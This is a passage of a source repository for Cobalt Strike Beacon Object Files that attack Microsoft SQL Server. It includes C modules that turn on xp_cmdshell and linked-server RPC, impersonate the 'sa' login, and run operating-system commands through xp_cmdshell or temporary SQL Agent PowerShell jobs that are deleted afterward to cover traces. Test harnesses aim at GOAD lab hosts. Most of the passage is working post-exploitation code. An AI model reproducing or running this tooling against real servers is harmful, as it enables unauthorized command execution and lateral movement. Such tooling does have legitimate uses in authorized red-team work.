|Execute a system command via xp_cmdshell | 41 | 42 | ## References 43 | - [SQLRecon](https://github.com/skahwah/SQLRecon) by [@sanjivkawa](https://twitter.com/sanjivkawa) 44 | - [PySQLRecon](https://github.com/Tw1sm/PySQLRecon) 45 | - [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) 46 | -------------------------------------------------------------------------------- /src/common/sql_agent.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "sql.h" 3 | 4 | 5 | BOOL IsAgentRunning(SQLHSTMT stmt, char* link, char* impersonate) 6 | { 7 | BOOL running = FALSE; 8 | 9 | char* query = "SELECT dss.[status_desc] FROM sys.dm_server_services dss " 10 | "WHERE dss.[servicename] LIKE 'SQL Server Agent (%';"; 11 | 12 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 13 | { 14 | internal_printf("[-] Error while querying SQL Server Agent status\n"); 15 | return FALSE; 16 | } 17 | 18 | char* result = GetSingleResult(stmt, FALSE); 19 | 20 | if (result != NULL && MSVCRT$strcmp(result, "Running") == 0) 21 | { 22 | running = TRUE; 23 | } 24 | 25 | intFree(result); 26 | return running; 27 | } 28 | 29 | BOOL GetAgentJobs(SQLHSTMT stmt, char* link, char* impersonate) 30 | { 31 | char* query = "SELECT job_id, name, enabled, date_created, date_modified " 32 | "FROM msdb.dbo.sysjobs ORDER BY date_created"; 33 | 34 | return HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE); 35 | } 36 | 37 | BOOL AddAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* command, char* jobName, char* stepName) 38 | { 39 | 40 | char* part1 = "use msdb; EXEC dbo.sp_add_job @job_name = '"; 41 | char* part2 = "'; EXEC sp_add_jobstep @job_name = '"; 42 | char* part3 = "', @step_name = '"; 43 | char* part4 = "', @subsystem = 'PowerShell', @command = '"; 44 | char* part5 = "', @retry_attempts = 1, @retry_interval = 5; EXEC dbo.sp_add_jobserver @job_name = '"; 45 | char* part6 = "';"; 46 | 47 | size_t totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part2) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part3) + MSVCRT$strlen(stepName) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part6) + 1; 48 | char* query = (char*)intAlloc(totalSize); 49 | 50 | MSVCRT$strcpy(query, part1); 51 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 52 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 53 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 54 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 55 | MSVCRT$strncat(query, stepName, totalSize - MSVCRT$strlen(query) - 1); 56 | MSVCRT$strncat(query, part4, totalSize - MSVCRT$strlen(query) - 1); 57 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 58 | MSVCRT$strncat(query, part5, totalSize - MSVCRT$strlen(query) - 1); 59 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, part6, totalSize - MSVCRT$strlen(query) - 1); 61 | 62 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 63 | intFree(query); 64 | return result; 65 | } 66 | 67 | BOOL ExecuteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName) 68 | { 69 | char* prefix = "use msdb; EXEC dbo.sp_start_job @job_name = '"; 70 | char* suffix = "'; WAITFOR DELAY '00:00:05';"; 71 | 72 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1; 73 | char* query = (char*)intAlloc(totalSize); 74 | 75 | MSVCRT$strcpy(query, prefix); 76 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 77 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 78 | 79 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 80 | intFree(query); 81 | return result; 82 | } 83 | 84 | BOOL DeleteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName) 85 | { 86 | //char* use = "use msdb;"; 87 | //if (!HandleQuery(stmt, (SQLCHAR*)use, link, impersonate, TRUE)) 88 | //{ 89 | // internal_printf("[-] Error while setting msdb as the current database\n"); 90 | // return FALSE; 91 | //} 92 | 93 | char* prefix = "use msdb; EXEC dbo.sp_delete_job @job_name = '"; 94 | char* suffix = "';"; 95 | 96 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1; 97 | char* query = (char*)intAlloc(totalSize); 98 | 99 | MSVCRT$strcpy(query, prefix); 100 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 101 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 102 | 103 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 104 | intFree(query); 105 | return result; 106 | } 107 | 108 | -------------------------------------------------------------------------------- /src/SQL/togglemodule/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | 6 | 7 | // rpc requires different functions/values than the other modules 8 | void ToggleRpc(char* server, char* database, char* link, char* impersonate, char* value) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | 14 | dbc = ConnectToSqlServer(&env, server, database); 15 | 16 | if (dbc == NULL) { 17 | goto END; 18 | } 19 | 20 | internal_printf("[*] Toggling RPC on %s...\n\n", link); 21 | 22 | // 23 | // allocate statement handle 24 | // 25 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 26 | 27 | if (!ToggleModule(stmt, "rpc", value, link, impersonate)) 28 | { 29 | goto END; 30 | } 31 | 32 | // 33 | // Close the cursor 34 | // 35 | ODBC32$SQLCloseCursor(stmt); 36 | 37 | 38 | if (!CheckRpcOnLink(stmt, link, impersonate)) 39 | { 40 | goto END; 41 | } 42 | 43 | PrintQueryResults(stmt, TRUE); 44 | 45 | // 46 | // close the cursor 47 | // 48 | ODBC32$SQLCloseCursor(stmt); 49 | 50 | END: 51 | DisconnectSqlServer(env, dbc, stmt); 52 | } 53 | 54 | 55 | // non-rpc modules are treated the same 56 | void ToggleGenericModule(char* server, char* database, char* link, char* impersonate, char* module, char* value) 57 | { 58 | SQLHENV env = NULL; 59 | SQLHSTMT stmt = NULL; 60 | SQLHDBC dbc = NULL; 61 | 62 | dbc = ConnectToSqlServer(&env, server, database); 63 | 64 | if (dbc == NULL) { 65 | goto END; 66 | } 67 | 68 | // 69 | // allocate statement handle 70 | // 71 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 72 | 73 | if (link == NULL) 74 | { 75 | internal_printf("[*] Toggling %s on %s...\n\n", module, server); 76 | } 77 | else 78 | { 79 | internal_printf("[*] Toggling %s on %s via %s\n\n", module, link, server); 80 | } 81 | 82 | if (!ToggleModule(stmt, module, value, link, impersonate)) 83 | { 84 | goto END; 85 | } 86 | 87 | // 88 | // Close the cursor 89 | // 90 | ODBC32$SQLCloseCursor(stmt); 91 | 92 | // 93 | // Check new status and print 94 | // 95 | 96 | CheckModuleStatus(stmt, module, link, impersonate); 97 | 98 | PrintQueryResults(stmt, TRUE); 99 | 100 | END: 101 | ODBC32$SQLCloseCursor(stmt); 102 | DisconnectSqlServer(env, dbc, stmt); 103 | } 104 | 105 | 106 | #ifdef BOF 107 | VOID go( 108 | IN PCHAR Buffer, 109 | IN ULONG Length 110 | ) 111 | { 112 | char* server; 113 | char* database; 114 | char* link; 115 | char* impersonate; 116 | char* module; 117 | char* value; 118 | 119 | // 120 | // parse beacon args 121 | // 122 | datap parser; 123 | BeaconDataParse(&parser, Buffer, Length); 124 | 125 | server = BeaconDataExtract(&parser, NULL); 126 | database = BeaconDataExtract(&parser, NULL); 127 | link = BeaconDataExtract(&parser, NULL); 128 | impersonate = BeaconDataExtract(&parser, NULL); 129 | module = BeaconDataExtract(&parser, NULL); 130 | value = BeaconDataExtract(&parser, NULL); 131 | 132 | server = *server == 0 ? "localhost" : server; 133 | database = *database == 0 ? "master" : database; 134 | link = *link == 0 ? NULL : link; 135 | impersonate = *impersonate == 0 ? NULL : impersonate; 136 | 137 | if(!bofstart()) 138 | { 139 | return; 140 | } 141 | 142 | // we're toggling RPC 143 | if (MSVCRT$strcmp(module, "rpc") == 0) 144 | { 145 | if (link == NULL) 146 | { 147 | internal_printf("[!] A link must be specified\n"); 148 | printoutput(TRUE); 149 | return; 150 | } 151 | ToggleRpc(server, database, link, impersonate, value); 152 | } 153 | // we're toggling one of the other modules that we treat the same 154 | else 155 | { 156 | if (UsingLinkAndImpersonate(link, impersonate)) 157 | { 158 | return; 159 | } 160 | 161 | ToggleGenericModule(server, database, link, impersonate, module, value); 162 | } 163 | 164 | 165 | printoutput(TRUE); 166 | }; 167 | 168 | #else 169 | 170 | int main() 171 | { 172 | internal_printf("============ LINK RPC DISABLE TEST ============\n\n"); 173 | ToggleRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "FALSE"); 174 | 175 | internal_printf("\n\n============ LINK RPC ENABLE TEST ============\n\n"); 176 | ToggleRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "TRUE"); 177 | 178 | internal_printf("\n\n============ BASE XP_CMDSHELL DISABLE TEST ============\n\n"); 179 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "xp_cmdshell", "0"); 180 | 181 | internal_printf("\n\n============ BASE XP_CMDSHELL ENABLE TEST ============\n\n"); 182 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "xp_cmdshell", "1"); 183 | 184 | internal_printf("\n\n============ IMPERSONATE XP_CMDSHELL DISABLE TEST ============\n\n"); 185 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "xp_cmdshell", "0"); 186 | 187 | internal_printf("\n\n============ IMPERSONATE XP_CMDSHELL ENABLE TEST ============\n\n"); 188 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "xp_cmdshell", "1"); 189 | 190 | internal_printf("\n\n============ LINK XP_CMDSHELL DISABLE TEST ============\n\n"); 191 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "xp_cmdshell", "0"); 192 | 193 | internal_printf("\n\n============ LINK XP_CMDSHELL ENABLE TEST ============\n\n"); 194 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "xp_cmdshell", "1"); 195 | } 196 | 197 | #endif 198 | -------------------------------------------------------------------------------- /src/SQL/agentcmd/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | #include "sql_agent.c" 6 | 7 | 8 | void ExecuteAgentCommand(char* server, char* database, char* link, char* impersonate, char* command) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | char* jobName = NULL; 14 | char* stepName = NULL; 15 | SQLRETURN ret; 16 | 17 | 18 | if (link == NULL) 19 | { 20 | dbc = ConnectToSqlServer(&env, server, database); 21 | } 22 | else 23 | { 24 | dbc = ConnectToSqlServer(&env, server, NULL); 25 | } 26 | 27 | if (dbc == NULL) { 28 | goto END; 29 | } 30 | 31 | if (link == NULL) 32 | { 33 | internal_printf("[*] Executing command in SQL Agent job on %s\n\n", server); 34 | } 35 | else 36 | { 37 | internal_printf("[*] Executing command in SQL Agent job on %s via %s\n\n", link, server); 38 | } 39 | 40 | // 41 | // allocate statement handle 42 | // 43 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 44 | if (!SQL_SUCCEEDED(ret)) { 45 | internal_printf("[!] Failed to allocate statement handle\n"); 46 | goto END; 47 | } 48 | 49 | // 50 | // if using linked server, ensure rpc is enabled 51 | // 52 | if (link != NULL) 53 | { 54 | if (IsRpcEnabled(stmt, link)) 55 | { 56 | internal_printf("[*] RPC out is enabled\n"); 57 | } 58 | else 59 | { 60 | internal_printf("[!] RPC out is not enabled\n"); 61 | goto END; 62 | } 63 | 64 | // 65 | // close the cursor 66 | // 67 | ODBC32$SQLCloseCursor(stmt); 68 | } 69 | 70 | if (!IsAgentRunning(stmt, link, impersonate)) 71 | { 72 | internal_printf("[!] SQL Agent is not running\n"); 73 | goto END; 74 | } 75 | 76 | // 77 | // Close the cursor 78 | // 79 | ret = ODBC32$SQLCloseCursor(stmt); 80 | if (!SQL_SUCCEEDED(ret)) { 81 | internal_printf("[!] Failed to close cursor\n"); 82 | goto END; 83 | } 84 | 85 | internal_printf("[*] SQL Agent is running\n"); 86 | 87 | // 88 | // Add agent job 89 | // 90 | InitRandomSeed(); 91 | jobName = GenerateRandomString(8); 92 | stepName = GenerateRandomString(8); 93 | 94 | if (!AddAgentJob(stmt, link, impersonate, command, jobName, stepName)) 95 | { 96 | internal_printf("[!] Failed to add agent job\n"); 97 | goto END; 98 | } 99 | 100 | ClearCursor(stmt); 101 | internal_printf("[*] Added job\n"); 102 | 103 | // 104 | // Print jobs to verify job was added 105 | // 106 | if (!GetAgentJobs(stmt, link, impersonate)) 107 | { 108 | internal_printf("[!] Failed to get agent jobs\n"); 109 | goto END; 110 | } 111 | 112 | internal_printf("\n"); 113 | PrintQueryResults(stmt, TRUE); 114 | 115 | // 116 | // Close the cursor 117 | // 118 | ret = ODBC32$SQLCloseCursor(stmt); 119 | if (!SQL_SUCCEEDED(ret)) { 120 | internal_printf("[!] Failed to close cursor\n"); 121 | goto END; 122 | } 123 | 124 | internal_printf("\n[*] Executing job %s and waiting 5 seconds...\n", jobName); 125 | ExecuteAgentJob(stmt, link, impersonate, jobName); 126 | 127 | 128 | ClearCursor(stmt); 129 | 130 | // 131 | // Cleanup job 132 | // 133 | if (!DeleteAgentJob(stmt, link, impersonate, jobName)) 134 | { 135 | internal_printf("[!] Failed to delete agent job\n"); 136 | goto END; 137 | } 138 | 139 | internal_printf("[*] Job %s deleted\n", jobName); 140 | 141 | ClearCursor(stmt); 142 | 143 | // 144 | // Print jobs to verify job was added 145 | // 146 | if (!GetAgentJobs(stmt, link, impersonate)) 147 | { 148 | internal_printf("[!] Failed to get agent jobs\n"); 149 | goto END; 150 | } 151 | 152 | internal_printf("\n"); 153 | PrintQueryResults(stmt, TRUE); 154 | 155 | 156 | END: 157 | if (jobName != NULL) intFree(jobName); 158 | if (stepName != NULL) intFree(stepName); 159 | ODBC32$SQLCloseCursor(stmt); 160 | DisconnectSqlServer(env, dbc, stmt); 161 | } 162 | 163 | 164 | #ifdef BOF 165 | VOID go( 166 | IN PCHAR Buffer, 167 | IN ULONG Length 168 | ) 169 | { 170 | char* server; 171 | char* database; 172 | char* link; 173 | char* impersonate; 174 | char* command; 175 | 176 | // 177 | // parse beacon args 178 | // 179 | datap parser; 180 | BeaconDataParse(&parser, Buffer, Length); 181 | 182 | server = BeaconDataExtract(&parser, NULL); 183 | database = BeaconDataExtract(&parser, NULL); 184 | link = BeaconDataExtract(&parser, NULL); 185 | impersonate = BeaconDataExtract(&parser, NULL); 186 | command = BeaconDataExtract(&parser, NULL); 187 | 188 | server = *server == 0 ? "localhost" : server; 189 | database = *database == 0 ? "master" : database; 190 | link = *link == 0 ? NULL : link; 191 | impersonate = *impersonate == 0 ? NULL : impersonate; 192 | 193 | if(!bofstart()) 194 | { 195 | return; 196 | } 197 | 198 | if (UsingLinkAndImpersonate(link, impersonate)) 199 | { 200 | return; 201 | } 202 | 203 | ExecuteAgentCommand(server, database, link, impersonate, command); 204 | 205 | printoutput(TRUE); 206 | }; 207 | 208 | #else 209 | 210 | int main() 211 | { 212 | // 213 | // GOAD uses SQLExpress so turning to makeshift lab here 214 | // 215 | internal_printf("============ BASE TEST ============\n\n"); 216 | ExecuteAgentCommand("192.168.0.215", "master", NULL, NULL, "notepad.exe"); 217 | 218 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 219 | ExecuteAgentCommand("192.168.0.215", "master", NULL, "sa", "notepad.exe"); 220 | 221 | internal_printf("\n\n============ LINK TEST ============\n\n"); 222 | ExecuteAgentCommand("192.168.0.215", "master", "TRETOGOR", NULL, "notepad.exe"); 223 | } 224 | 225 | #endif 226 | -------------------------------------------------------------------------------- /src/SQL/columns/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckTableColumns(char* server, char* database, char* link, char* impersonate, char* table) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | SQLRETURN ret; 12 | 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Displaying columns from table %s in %s on %s\n\n", table, database, server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Displaying columns from table %s in %s on %s via %s\n\n", table, database, link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | if (!SQL_SUCCEEDED(ret)) { 42 | internal_printf("[!] Error allocating statement handle\n"); 43 | goto END; 44 | } 45 | 46 | if (link == NULL) 47 | { 48 | 49 | // 50 | // Construct USE database statement 51 | // 52 | char* dbPrefix = "USE "; 53 | char* dbSuffix = ";"; 54 | 55 | size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1; 56 | char* useStmt = (char*)intAlloc(useStmtSize * sizeof(char)); 57 | 58 | MSVCRT$strcpy(useStmt, dbPrefix); 59 | MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) -1); 60 | MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) -1); 61 | 62 | if (!HandleQuery(stmt, (SQLCHAR*)useStmt, link, impersonate, FALSE)){ 63 | goto END; 64 | } 65 | 66 | // 67 | // Construct query 68 | // 69 | char* tablePrefix = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS " 70 | "WHERE TABLE_NAME = '"; 71 | char* tableSuffix = "' ORDER BY ORDINAL_POSITION;"; 72 | 73 | size_t querySize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 74 | char* query = (char*)intAlloc(querySize * sizeof(char)); 75 | 76 | MSVCRT$strcpy(query, tablePrefix); 77 | MSVCRT$strncat(query, table, MSVCRT$strlen(query) -1); 78 | MSVCRT$strncat(query, tableSuffix, MSVCRT$strlen(query) -1); 79 | 80 | // 81 | // Run the query 82 | // 83 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 84 | goto END; 85 | } 86 | PrintQueryResults(stmt, TRUE); 87 | 88 | intFree(query); 89 | intFree(useStmt); 90 | } 91 | else 92 | { 93 | // 94 | // Construct query 95 | // 96 | char* dbPrefix = "SELECT COLUMN_NAME FROM "; 97 | char* tablePrefix = ".INFORMATION_SCHEMA.COLUMNS " 98 | "WHERE TABLE_NAME = '"; 99 | char* tableSuffix = "' ORDER BY ORDINAL_POSITION;"; 100 | 101 | size_t querySize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 102 | char* query = (char*)intAlloc(querySize * sizeof(char)); 103 | 104 | MSVCRT$strcpy(query, dbPrefix); 105 | MSVCRT$strncat(query, database, querySize - MSVCRT$strlen(query) -1); 106 | MSVCRT$strncat(query, tablePrefix, querySize - MSVCRT$strlen(query) -1); 107 | MSVCRT$strncat(query, table, querySize - MSVCRT$strlen(query) -1); 108 | MSVCRT$strncat(query, tableSuffix, querySize - MSVCRT$strlen(query) -1); 109 | 110 | // 111 | // Run the query 112 | // 113 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 114 | goto END; 115 | } 116 | PrintQueryResults(stmt, TRUE); 117 | 118 | intFree(query); 119 | } 120 | 121 | END: 122 | ODBC32$SQLCloseCursor(stmt); 123 | DisconnectSqlServer(env, dbc, stmt); 124 | } 125 | 126 | 127 | #ifdef BOF 128 | VOID go( 129 | IN PCHAR Buffer, 130 | IN ULONG Length 131 | ) 132 | { 133 | char* server; 134 | char* database; 135 | char* table; 136 | char* link; 137 | char* impersonate; 138 | 139 | // 140 | // parse beacon args 141 | // 142 | datap parser; 143 | BeaconDataParse(&parser, Buffer, Length); 144 | 145 | server = BeaconDataExtract(&parser, NULL); 146 | database = BeaconDataExtract(&parser, NULL); 147 | table = BeaconDataExtract(&parser, NULL); 148 | link = BeaconDataExtract(&parser, NULL); 149 | impersonate = BeaconDataExtract(&parser, NULL); 150 | 151 | 152 | server = *server == 0 ? "localhost" : server; 153 | database = *database == 0 ? "master" : database; 154 | table = *table == 0 ? NULL : table; 155 | link = *link == 0 ? NULL : link; 156 | impersonate = *impersonate == 0 ? NULL : impersonate; 157 | 158 | if(!bofstart()) 159 | { 160 | return; 161 | } 162 | 163 | if (table == NULL) 164 | { 165 | internal_printf("[!] Table argument is required\n"); 166 | printoutput(TRUE); 167 | return; 168 | } 169 | 170 | if (UsingLinkAndImpersonate(link, impersonate)) 171 | { 172 | return; 173 | } 174 | 175 | CheckTableColumns(server, database, link, impersonate, table); 176 | 177 | printoutput(TRUE); 178 | }; 179 | 180 | #else 181 | 182 | int main() 183 | { 184 | internal_printf("============ BASE TEST ============\n\n"); 185 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "spt_monitor"); 186 | 187 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 188 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "spt_monitor"); 189 | 190 | internal_printf("\n\n============ LINK TEST ============\n\n"); 191 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "spt_monitor"); 192 | } 193 | 194 | #endif 195 | -------------------------------------------------------------------------------- /src/SQL/xpcmd/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | 6 | 7 | void ExecuteXpCmd(char* server, char* database, char* link, char* impersonate, char* command) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char* query = NULL; 13 | size_t totalSize; 14 | SQLRETURN ret; 15 | unsigned int timeout = 10; 16 | 17 | 18 | if (link == NULL) 19 | { 20 | dbc = ConnectToSqlServer(&env, server, database); 21 | } 22 | else 23 | { 24 | dbc = ConnectToSqlServer(&env, server, NULL); 25 | } 26 | 27 | if (dbc == NULL) { 28 | goto END; 29 | } 30 | 31 | // 32 | // allocate statement handle 33 | // 34 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 35 | if (!SQL_SUCCEEDED(ret)) { 36 | internal_printf("[!] Failed to allocate statement handle\n"); 37 | goto END; 38 | } 39 | 40 | // 41 | // verify that xp_cmdshell is enabled 42 | // 43 | if (IsModuleEnabled(stmt, "xp_cmdshell", link, impersonate)) 44 | { 45 | internal_printf("[*] xp_cmdshell is enabled\n"); 46 | } 47 | else 48 | { 49 | internal_printf("[!] xp_cmdshell is not enabled\n"); 50 | goto END; 51 | } 52 | 53 | // 54 | // close the cursor 55 | // 56 | ret = ODBC32$SQLCloseCursor(stmt); 57 | if (!SQL_SUCCEEDED(ret)) { 58 | internal_printf("[!] Failed to close cursor\n"); 59 | goto END; 60 | } 61 | 62 | // 63 | // if using linked server, ensure rpc is enabled 64 | // 65 | if (link != NULL) 66 | { 67 | if (IsRpcEnabled(stmt, link)) 68 | { 69 | internal_printf("[*] RPC out is enabled\n"); 70 | } 71 | else 72 | { 73 | internal_printf("[!] RPC out is not enabled\n"); 74 | goto END; 75 | } 76 | 77 | // 78 | // close the cursor 79 | // 80 | ODBC32$SQLCloseCursor(stmt); 81 | } 82 | 83 | // 84 | // don't want to hang beacons forever, so we'll try to set a timeout 85 | // 86 | ret = ODBC32$SQLSetStmtAttr(stmt, SQL_ATTR_QUERY_TIMEOUT, (SQLPOINTER)(uintptr_t)timeout, 0); 87 | if (!SQL_SUCCEEDED(ret)) { 88 | internal_printf("[!] Failed to set query timeout\n"); 89 | goto END; 90 | } 91 | 92 | internal_printf("[*] Executing system command...\n\n"); 93 | 94 | if (link == NULL) 95 | { 96 | char* prefix = "EXEC xp_cmdshell '"; 97 | char* suffix = "';"; 98 | 99 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1; 100 | query = (char*)intAlloc(totalSize * sizeof(char)); 101 | 102 | MSVCRT$strcpy(query, prefix); 103 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 104 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 105 | 106 | // 107 | // In case we're taking a hanging action, print current output 108 | // 109 | printoutput(FALSE); 110 | 111 | // 112 | // Run the query 113 | // 114 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 115 | goto END; 116 | } 117 | 118 | PrintQueryResults(stmt, TRUE); 119 | } 120 | else 121 | { 122 | char* prefix = "SELECT 1; EXEC master..xp_cmdshell '"; 123 | char* suffix = "';"; 124 | 125 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1; 126 | query = (char*)intAlloc(totalSize * sizeof(char)); 127 | 128 | MSVCRT$strcpy(query, prefix); 129 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 130 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 131 | 132 | // 133 | // In case we're taking a hanging action, print current output 134 | // 135 | printoutput(FALSE); 136 | 137 | // 138 | // Run the query 139 | // 140 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 141 | goto END; 142 | } 143 | 144 | internal_printf("[*] Command executed (Output not returned for linked server cmd execution)\n"); 145 | } 146 | 147 | 148 | 149 | END: 150 | if (query != NULL) intFree(query); 151 | ODBC32$SQLCloseCursor(stmt); 152 | DisconnectSqlServer(env, dbc, stmt); 153 | } 154 | 155 | 156 | #ifdef BOF 157 | VOID go( 158 | IN PCHAR Buffer, 159 | IN ULONG Length 160 | ) 161 | { 162 | char* server; 163 | char* database; 164 | char* link; 165 | char* impersonate; 166 | char* command; 167 | 168 | // 169 | // parse beacon args 170 | // 171 | datap parser; 172 | BeaconDataParse(&parser, Buffer, Length); 173 | 174 | server = BeaconDataExtract(&parser, NULL); 175 | database = BeaconDataExtract(&parser, NULL); 176 | link = BeaconDataExtract(&parser, NULL); 177 | impersonate = BeaconDataExtract(&parser, NULL); 178 | command = BeaconDataExtract(&parser, NULL); 179 | 180 | server = *server == 0 ? "localhost" : server; 181 | database = *database == 0 ? "master" : database; 182 | link = *link == 0 ? NULL : link; 183 | impersonate = *impersonate == 0 ? NULL : impersonate; 184 | 185 | if(!bofstart()) 186 | { 187 | return; 188 | } 189 | 190 | if (UsingLinkAndImpersonate(link, impersonate)) 191 | { 192 | return; 193 | } 194 | 195 | ExecuteXpCmd(server, database, link, impersonate, command); 196 | 197 | printoutput(TRUE); 198 | }; 199 | 200 | #else 201 | 202 | int main() 203 | { 204 | internal_printf("============ BASE TEST ============\n\n"); 205 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "whoami /user"); 206 | 207 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 208 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "whoami /user"); 209 | 210 | internal_printf("\n\n============ LINK TEST ============\n\n"); 211 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "whoami /user"); 212 | } 213 | 214 | #endif 215 | -------------------------------------------------------------------------------- /src/SQL/whoami/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | void FreeResults(char** results) 6 | { 7 | for (int i = 0; results[i] != NULL; i++) 8 | { 9 | intFree(results[i]); 10 | } 11 | intFree(results); 12 | } 13 | 14 | void PrintMemberStatus(char* roleName, char* status) 15 | { 16 | if (status[0] == '0') { 17 | internal_printf(" |--> User is NOT a member of the %s role\n", roleName); 18 | } 19 | else { 20 | internal_printf(" |--> User is a member of the %s role\n", roleName); 21 | } 22 | } 23 | 24 | void Whoami(char* server, char* database, char* link, char* impersonate) 25 | { 26 | SQLHENV env = NULL; 27 | SQLHSTMT stmt = NULL; 28 | SQLHDBC dbc = NULL; 29 | char* sysUser = NULL; 30 | char* mappedUser = NULL; 31 | char** dbRoles = NULL; 32 | SQLRETURN ret; 33 | 34 | // 35 | // default server roles 